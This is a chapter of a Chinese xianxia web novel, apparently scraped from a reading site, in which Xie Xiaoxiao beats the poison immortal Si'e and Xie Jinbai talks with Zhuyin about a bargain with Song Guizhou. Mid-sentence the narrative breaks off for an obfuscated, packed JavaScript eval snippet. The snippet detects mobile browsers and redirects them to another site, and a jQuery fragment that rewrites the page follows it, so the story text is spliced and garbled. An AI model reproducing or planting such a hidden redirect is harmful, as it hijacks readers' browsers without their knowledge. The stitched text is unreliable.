酒仙小世界。
莽苍深处,高山流水,木屋凉亭,酒仙忘忧君和毒仙司厄正在对弈。
司厄执黑子,一条青色的小蛇亲昵地缠绕在他的手腕上。
司厄笑着说:“忘忧君,我可馋那口醉仙酿许久了。你我好友多年未见,不会连我这点儿小小的心愿都不满足吧?”
忘忧君无奈道:“醉仙酿千年才能得一坛,前段时间被一个谢家小子坑走了存货,我现在也没有了。”
司厄颇有深意地重复了一遍:“谢家小子……”
“不过我新酿了一种名为碧落的酒,尝尝?”忘忧君指尖微动,司厄的面前就出现了一杯浅翠色的酒,酒香四溢,“无事不登三宝殿,你来找我肯定不只是为了喝酒吧?”
司厄淡淡说:“世人皆知,渡劫期之后就是仙人境,但他们却不知,仙也分真仙和伪仙。像我们这些伪仙,依旧活在天道的束缚之下,自己的道永远无法圆满。可谢家的仙人,却都是真仙。”
忘忧君瞅了他一眼:“那又咋?伪仙也是仙。”
司厄噎了一下,面不改色地继续说道:“忘忧君,只有谢家掌握着突破桎梏的秘密,你难道不想成为凌驾于天道之上的仙人吗?”
忘忧君满脸讶异:“你想招惹谢家,不要命了吗?整个天衍大陆的仙人屈指可数,他谢家就有三位,而且还是真仙!”
司厄似笑非笑地问:“若是谢家的真仙没了呢?”
忘忧君捏着棋子的手一顿。
看来这位老友不是想招惹谢家,而是已经招惹了。
突然有点儿后悔放他进自己的小世界了。
“忘忧君,不光是我,其他几位也都想探寻谢家隐藏的秘密,谋取真正的超脱。”司厄轻轻落子,笑得意味深长,“棋局已经搭好,忘忧君,要加入我们吗?”
忘忧君果断摆手:“我觉得我不行,你还是另请高明吧。”
虽然谢家人都是臭棋篓子,但是他们会掀桌子啊!
司厄没想到他连考虑都不考虑,就拒绝得那么干脆。
他们修道之人,毕生目标不就是将自己的道走到极致吗?
成为真仙应该是每个伪仙都梦寐以求的事。
司厄的眸中满是困惑:“忘忧君,你明明对我说过,你也想成为真仙,酿出世上最极致的酒,现在又为什么要拒绝?”
忘忧君:“……”
还能为什么?
因为他想活!
作为伪仙,他可以打败这个世界上99%的人,干嘛非要去挑战剩下的1%?
司厄阖上眼,似是沉思,许久之后才睁开眼,自信满满地说:“忘忧君,我不信你一点儿都不心动,你只是在畏惧谢家而且。如果你知道我们的计划,一定……”
“我不想知道。”忘忧君打断对方的话,直接捂住耳朵,“司厄,你可以离开了。好歹相识一场,今天这里发生的一切,我就当作什么都没……”
他突然一顿,绝望地闭上了眼。
已经晚了!
伴随轰隆的响声,一道人影从天而降,宛如流星般砸了下来,一脚踏碎了整个棋盘和桌子。
司厄低头一看,废墟里站着一个粉雕玉琢的小姑娘,瞧着只有七八岁大,头发松松地扎成两个小髻。
但她那双乌黑的瞳仁太静了,没有半点孩童应有的懵懂与雀跃,静得像深潭映着亘古的星月,给人一种毛骨悚然的感觉。
“谢小小!”
司厄惊呼出声,没有丝毫犹豫,转身就跑。
体修谢小小,那可是曾经一拳锤爆巨龙的狠人啊!
“没错,就是你姑奶奶我!”小女孩追了上去,挥着小粉拳,一拳砸到他的脑袋上,“你以为躲进酒仙的小世界,就没人能找到你了?”
小青蛇窜了出去,想去咬谢小小脖颈的大动脉。
没咬动,崩了一颗牙……
谢小小握住它的七寸,只是轻轻一捏,青蛇瞬间化作一团血雾。
谢小小根本没给司厄心痛的时间,又是一拳砸了过去:“敢对谢家儿郎下毒,是要付出代价的。”
只要谢小小有所防备,司厄就根本没有下毒的机会。
也就是说,他只能被压着揍。
如果有血条,就能看见,谢小小每砸出一拳,司厄的血量就下降一点点。
这是纯粹的报复与折磨!
直到司厄濒死之际,一道粉红的烟雾从他的袖袍里射出,戴着青铜面具的女子如鬼魅般出现,抓住司厄的衣领。
烟雾瞬间消失,两人的身影也随之不见。
谢小小冷笑:“果然有接应。”
隔着青铜面具,她看不清那女人的样貌,只能看到一双粉红的瞳孔。
她脚尖一踏,也追了过去。
忘忧君望着被砸得稀巴烂的小世界,不禁泪流满面:“我只想做个闲云野鹤,有人为我发声吗?你们知不知道我要养一百零八个小情人很费钱啊!”
女人带着司厄躲避谢小小的追杀,没有半分慌张,似乎很自信对方追不上自己。
司厄的脸已经肿成了猪头,口齿不清地说:“多谢国师大人相救。”
国师咯咯地笑出了声:“谢钰活了下来,而谢老却闭关了。”
“如此说来,谢老算是废了。”司厄艰难地说,“可惜我用心头血所养的剧毒之蛇被击杀了,国师接下来打算怎么做?”
国师的唇角勾起一抹笑意:“你知道谢家真仙和我们最大的区别是什么吗?”
司厄咳出一口血,眼里却满是快意:“我们是自由的,但他们有弱点。”
谢家,就是他们的弱点。
这次对谢钰出手只是一个试探,果不其然,谢家真仙为了救活谢钰,不惜牺牲自己。
他们对家族、对传承、对亲人看得太重了。
如果下一次,他们是对整个谢家出手呢?
谢家真仙是救,还是不救?
偷听的天道:“……”
谢钰的毒确实解了,谢老也确实闭关了。
但谢老闭关并非是因为替谢钰吸取毒素,而是在潜心画符。
除了谢家嫡系,没有其他人知道谢钰解毒的真相。
任谁也想不到,这世上居然会有第二颗真仙舍利。
不过,烛阴是个例外。
他好不容易决定潜心修炼,自然不怎么关注外界发生了什么。等他知道谢钰中毒之时,谢钰的毒已经解了。
烛阴找到谢烬白,幽怨地问:“大外甥,你怎么不找我帮忙,是不是没把我当成一家人?”
谢烬白嘴角微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015395|189342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抽:“我需要佛仙舍利,但是据我所知,洪荒大陆没有佛仙。”
烛阴接受了他的解释,又问道:“我看见你在群里发的消息了,你跟谁做的交易?”
谢烬白:“宋归舟。”
“什么?宋归舟!”烛阴提高了音量,“宋归舟是不是让你帮他解决他的恶尸?不行!你不能答应他!”
谢烬白不说话,只是盯着他看。
烛阴太阳穴的青筋啪啪啪跳动:“看来你已经答应了。我不是跟你说过,不要随便去其他世界吗?”
谢烬白理直气壮:“我大哥命悬一线,我没考虑那么多。”
烛阴深吸一口气,不知道是在安慰他还是在安慰自己:“没事没事,你哥的毒已经解了,回头我带着你把舍利还给宋归舟,让他重新提个条件。总之你不能去他那个世界!”
谢烬白有些心虚:“可我已经立下大道誓言了。”
烛阴要抓狂了:“那你还真是把自己的后路全堵死了!”
谢烬白很乐观:“不用担心,我去去就回。”
“是吗?”烛阴冷声说,“宋归舟曾经和其他两位异世界的修士做交易,请他们帮忙斩恶尸。”
谢烬白仿佛猜到了什么,却又不死心地问了出来:“那两位修士呢?”
烛阴残忍地说:“都死了。”
谢烬白:“……”
那两位修士肯定比他的实力要强吧?
可想而知,那个世界很危险,那具恶尸不好杀。
谢烬白微微蹙眉:“你对宋归舟了解多少?”
烛阴说:“作为修仙世界的负责人,我拥有查看你们基本资料的权限。不得不说,宋归舟给我留下的印象实在太深刻了。”
“宋归舟七岁满门被灭,一心复仇,加入修仙宗门之后却被人欺凌,直到他二十岁的那一年,获得了仙帝传承,修为跟开了挂一样快速提升,甚至能连越三个大境界斩杀敌人,短短百年就成为了主宰一方的仙帝。”
谢烬白评价:“听起来是一个励志的故事。”
“励志个屁!”烛阴接着说,“明明是废柴流逆袭剧本,硬生生被他变成了暗黑流反派剧本。宋归舟成为仙帝之后,直接把整个世界杀穿了。因此,他所在的位面现在是个破碎世界。”
谢烬白疑惑:“破碎世界是什么?”
烛阴解释道:“就是天道法则不全,时间线混乱,时不时有一些域外天魔降落,即将濒临崩坏的世界。”
烛阴又问:“只有身负大功德之人才能被归墟回廊选中,成为其中一员。但你知道宋归舟的功德是怎么来的吗?”
谢烬白叹了一口气:“只要杀的人足够多,刀下亡魂中总有十恶不赦之人。”
你不能因为他身上煞气太重,就否认了他身上的功德金光吧?
黑红是红,黑金也是金啊!
烛阴肯定了他的猜测,随后眼珠一转,计上心来:“要不然我想办法把宋归舟弄死吧。只要宋归舟一死,你就不用履行大道誓言了。”
谢烬白想了想,才说:“我觉得,你应该打不过他。”
烛阴死亡凝视:“谢烬白,你再说一遍?”
谢烬白无辜地眨了眨眼:“我的意思是,我怕你受伤。”
不管怎么说,约定还是要履行的。